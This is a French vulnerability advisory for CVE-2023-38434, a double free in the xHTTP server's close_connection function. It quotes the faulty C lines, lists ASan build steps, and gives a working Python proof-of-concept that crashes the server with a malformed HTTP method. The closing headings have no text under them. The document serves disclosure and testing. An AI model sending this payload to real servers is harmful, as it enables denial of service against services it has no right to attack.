CVE-2023-38434

Le commit 72f812d de xHTTP et les versions antérieures souffrent d'une vulnérabilité de double free dans close_connection à xhttp.c, ligne 595.

if(conn->request.public.headers.list != NULL)
    free(conn->request.public.headers.list);

Pour confirmer la vulnérabilité, compilez le serveur xHTTP (inclus dans ce dépôt) avec les symboles de débogage et address sanitizer :

unzip xHTTP.zip
cd xHTTP-main
gcc example.c  xhttp.c -o main -fsanitize=address -g

Une fois le serveur compilé, démarrez-le sur le port 8080 :

Serveur xHTTP

$ ./main

Le double free peut être déclenché par une méthode de requête HTTP malformée. Par exemple, le script python3 suivant enverra une requête au serveur cible avec une méthode de requête HTTP malformée pour déclencher le double free :

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(('localhost', 8080))

http_headers = (
    #Request - http_headers
    b'MALFORMEDMETHOD'*1000  +  # HTTP Method (POST Request).  Sending malformed HTTP Methods invokes a double free in xHTTP
    b' '  
    b'/'  
    b' HTTP/1.0'  
    b'\r\n' 
    b'Host: '  
    b'localhost'  
    b':'  
    b'8080'  
    b'\r\n'  
    b'Accept-Encoding: '  
    b'identity'  
    b'\r\n'  
    b'Content-Type: '  #Content type
    b'application/json'  #JSON content type
    b'\r\n'  
    
    b'Connection: close\r\n'  
    b'User-Agent: '  
    b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'  
    b'\r\n'  

    b'Content-Length: '  
    b'152'  #Size - Content-Length_size
    b'\r\n'  
    b'\r\n'  #Delim - crlf_headers_body
        #Block - post_body
        b'data=Somepostdata'  

)

sock.send(http_headers)
sock.recv(65535)

sock.close()

CVE-2023-38434

Populaires

Script Python3

Sortie d'Address Sanitizer

Atténuation

Références